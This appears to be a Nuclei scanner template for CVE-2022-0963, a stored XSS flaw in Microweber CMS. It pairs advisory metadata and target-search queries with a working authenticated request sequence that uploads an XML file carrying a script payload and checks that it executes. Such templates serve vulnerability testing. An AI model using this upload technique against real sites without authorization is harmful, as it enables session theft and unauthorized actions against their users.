id: CVE-2022-0963

info:
  name: Microweber <1.2.12 - Stored Cross-Site Scripting
  author: amit-jd
  severity: medium
  description: |
    Microweber prior to 1.2.12 contains a stored cross-site scripting vulnerability. It allows unrestricted upload of XML files,.
  impact: |
    Authenticated attackers can upload malicious XML files containing XSS payloads that execute when users access the uploaded files, potentially stealing session cookies or performing unauthorized actions.
  remediation: |
    Upgrade Microweber CMS to version 1.2.12 or later to mitigate the vulnerability.
  reference:
    - https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c/
    - https://github.com/advisories/GHSA-q3x2-jvp3-wj78
    - https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0963
    - https://github.com/microweber/microweber/commit/975fc1d6d3fba598ee550849ceb81af23ce72e08
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-0963
    cwe-id: CWE-79
    epss-score: 0.01877
    epss-percentile: 0.7669
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve,cve2022,xss,microweber,cms,authenticated,huntr,intrusive,vuln

http:
  - raw:
      - |
        POST /api/user_login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        POST /plupload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------59866212126262636974202255034
        Referer: {{BaseURL}}admin/view:modules/load_module:files

        -----------------------------59866212126262636974202255034
        Content-Disposition: form-data; name="name"

        {{randstr}}.xml
        -----------------------------59866212126262636974202255034
        Content-Disposition: form-data; name="chunk"

        0
        -----------------------------59866212126262636974202255034
        Content-Disposition: form-data; name="chunks"

        1
        -----------------------------59866212126262636974202255034
        Content-Disposition: form-data; name="file"; filename="blob"
        Content-Type: application/octet-stream

        <x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>
        -----------------------------59866212126262636974202255034--
      - |
        GET /userfiles/media/default/{{to_lower("{{randstr}}")}}.xml HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_3,"alert(document.domain)")'
          - 'status_code_3==200'
          - 'contains(body_2,"bytes_uploaded")'
        condition: and
# digest: 4b0a0048304602210099e968125e7274c6ff0284c75130ce0ab554c14b73363013cee1b76610d14cea0221009c97c40f1e08be4d3d4bec0eac0ed22d1d2b0b9098316b40abf07b31b32fda49:922c64590222798bb761d5b6d8e72950